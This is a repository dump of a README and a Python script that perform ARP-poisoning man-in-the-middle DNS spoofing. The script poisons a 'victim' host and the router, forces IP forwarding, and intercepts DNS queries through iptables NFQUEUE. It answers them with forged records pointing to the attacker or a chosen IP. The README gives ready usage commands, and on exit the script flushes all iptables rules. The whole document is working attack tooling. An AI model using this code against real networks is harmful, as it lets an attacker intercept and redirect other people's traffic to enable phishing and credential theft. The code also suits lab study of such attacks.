├── README.md └── dnsspoof.py /README.md: -------------------------------------------------------------------------------- 1 | dnsspoof 2 | ======== 3 | 4 | DNS spoofer. Drops DNS responses before they hit the router then replaces them with the spoofed DNS response. 5 | 6 | Usage 7 | ------ 8 | 9 | ```shell 10 | python dnsspoof.py -r 192.168.0.1 -v 192.168.0.5 -d domaintospoof.com 11 | ``` 12 | 13 | Spoof domaintospoof.com to point back to the attack's machine. 14 | 15 | 16 | ```shell 17 | python dnsspoof.py -r 192.168.0.1 -v 192.168.0.5 -a -t 80.87.128.67 18 | ``` 19 | 20 | Spoof all DNS lookup requests to point to 80.87.128.67 (stallman.org). One can also use the -t option with the -d option to redirect just a specific domain to a specific IP rather than redirecting that domain to the attacker's machine. 21 | 22 | 23 | License 24 | ------- 25 | 26 | Copyright (c) 2013, Dan McInerney 27 | All rights reserved. 28 | 29 | Redistribution and use in source and binary forms, with or without 30 | modification, are permitted provided that the following conditions are met: 31 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 32 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 33 | * Neither the name of the Dan McInerney nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 34 | 35 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 36 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 37 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 38 | DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 39 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 40 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 41 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 42 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 43 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 44 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 45 | 46 | 47 | ------- 48 | danmcinerney.org 49 | -------------------------------------------------------------------------------- /dnsspoof.py: -------------------------------------------------------------------------------- 1 | from twisted.internet import reactor 2 | from twisted.internet.interfaces import IReadDescriptor 3 | import os 4 | import nfqueue 5 | from scapy.all import * 6 | import argparse 7 | import threading 8 | import signal 9 | 10 | def arg_parser(): 11 | parser = argparse.ArgumentParser() 12 | parser.add_argument("-d", "--domain", help="Choose the domain to spoof. Example: -d facebook.com") 13 | parser.add_argument("-r", "--routerIP", help="Choose the router IP. Example: -r 192.168.0.1") 14 | parser.add_argument("-v", "--victimIP", help="Choose the victim IP. Example: -v 192.168.0.5") 15 | parser.add_argument("-t", "--redirectto", help="Optional argument to choose the IP to which the victim will be redirected \ 16 | otherwise defaults to attacker's local IP. Requires either the -d or -a argument. Example: -t 80.87.128.67") 17 | parser.add_argument("-a", "--spoofall", help="Spoof all DNS requests back to the attacker or use -r to specify an IP to redirect them to", action="store_true") 18 | return parser.parse_args() 19 | 20 | def originalMAC(ip): 21 | ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) 22 | for s,r in ans: 23 | return r[Ether].src 24 | 25 | def poison(routerIP, victimIP, routerMAC, victimMAC): 26 | send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) 27 | send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC)) 28 | 29 | def restore(routerIP, victimIP, routerMAC, victimMAC): 30 | send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) 31 | send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) 32 | sys.exit(0) 33 | 34 | def cb(payload): 35 | data = payload.get_data() 36 | pkt = IP(data) 37 | localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] 38 | if not pkt.haslayer(DNSQR): 39 | payload.set_verdict(nfqueue.NF_ACCEPT) 40 | else: 41 | if arg_parser().spoofall: 42 | if not arg_parser().redirectto: 43 | spoofed_pkt(payload, pkt, localIP) 44 | else: 45 | spoofed_pkt(payload, pkt, arg_parser().redirectto) 46 | if arg_parser().domain: 47 | if arg_parser().domain in pkt[DNS].qd.qname: 48 | if not arg_parser().redirectto: 49 | spoofed_pkt(payload, pkt, localIP) 50 | else: 51 | spoofed_pkt(payload, pkt, arg_parser().redirectto) 52 | 53 | def spoofed_pkt(payload, pkt, rIP): 54 | spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 55 | UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 56 | DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ 57 | an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP)) 58 | payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) 59 | print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1] 60 | 61 | class Queued(object): 62 | def __init__(self): 63 | self.q = nfqueue.queue() 64 | self.q.set_callback(cb) 65 | self.q.fast_open(0, socket.AF_INET) 66 | self.q.set_queue_maxlen(5000) 67 | reactor.addReader(self) 68 | self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) 69 | print '[*] Waiting for data' 70 | def fileno(self): 71 | return self.q.get_fd() 72 | def doRead(self): 73 | self.q.process_pending(100) 74 | def connectionLost(self, reason): 75 | reactor.removeReader(self) 76 | def logPrefix(self): 77 | return 'queue' 78 | 79 | def main(args): 80 | global victimMAC, routerMAC 81 | 82 | if os.geteuid() != 0: 83 | sys.exit("[!] Please run as root") 84 | 85 | os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') 86 | 87 | ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') 88 | ipf_read = ipf.read() 89 | if ipf_read != '1\n': 90 | ipf.write('1\n') 91 | ipf.close() 92 | 93 | routerMAC = originalMAC(args.routerIP) 94 | victimMAC = originalMAC(args.victimIP) 95 | if routerMAC == None: 96 | sys.exit("Could not find router MAC address. Closing....") 97 | if victimMAC == None: 98 | sys.exit("Could not find victim MAC address. Closing....") 99 | print '[*] Router MAC:',routerMAC 100 | print '[*] Victim MAC:',victimMAC 101 | 102 | Queued() 103 | rctr = threading.Thread(target=reactor.run, args=(False,)) 104 | rctr.daemon = True 105 | rctr.start() 106 | 107 | def signal_handler(signal, frame): 108 | print 'learing iptables, sending healing packets, and turning off IP forwarding...' 109 | with open('/proc/sys/net/ipv4/ip_forward', 'w') as forward: 110 | forward.write(ipf_read) 111 | restore(args.routerIP, args.victimIP, routerMAC, victimMAC) 112 | restore(args.routerIP, args.victimIP, routerMAC, victimMAC) 113 | os.system('/sbin/iptables -F') 114 | os.system('/sbin/iptables -X') 115 | os.system('/sbin/iptables -t nat -F') 116 | os.system('/sbin/iptables -t nat -X') 117 | sys.exit(0) 118 | signal.signal(signal.SIGINT, signal_handler) 119 | 120 | while 1: 121 | poison(args.routerIP, args.victimIP, routerMAC, victimMAC) 122 | time.sleep(1.5) 123 | 124 | main(arg_parser()) 125 | --------------------------------------------------------------------------------